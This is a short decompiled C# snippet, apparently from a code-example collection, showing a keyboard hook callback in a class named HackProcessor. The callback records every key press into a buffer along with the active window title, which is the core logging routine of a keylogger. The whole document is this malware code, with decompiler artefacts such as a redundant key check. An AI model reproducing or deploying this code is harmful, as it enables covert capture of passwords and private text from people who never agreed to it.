Example #1
0
        // Token: 0x06000012 RID: 18 RVA: 0x00002410 File Offset: 0x00000610
        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            bool flag = HackProcessor.dataPressed == null;

            if (flag)
            {
                HackProcessor.dataPressed = new StringBuilder();
            }
            int  num   = Marshal.ReadInt32(lParam);
            bool flag2 = nCode >= 0 && wParam == (IntPtr)256;

            if (flag2)
            {
                bool flag3 = !string.IsNullOrEmpty(HackProcessor.active) || HackProcessor.active != HackProcessor.getTitle();
                if (flag3)
                {
                    HackProcessor.active = HackProcessor.getTitle();
                }
                bool flag4 = num == 13 || num == 13;
                if (flag4)
                {
                    HackProcessor.dataPressed.Append(Environment.NewLine);
                }
                else
                {
                    HackProcessor.dataPressed.Append((Keys)num);
                }
            }
            return(HackProcessor.CallNextHookEx(HackProcessor._hookID, nCode, wParam, lParam));
        }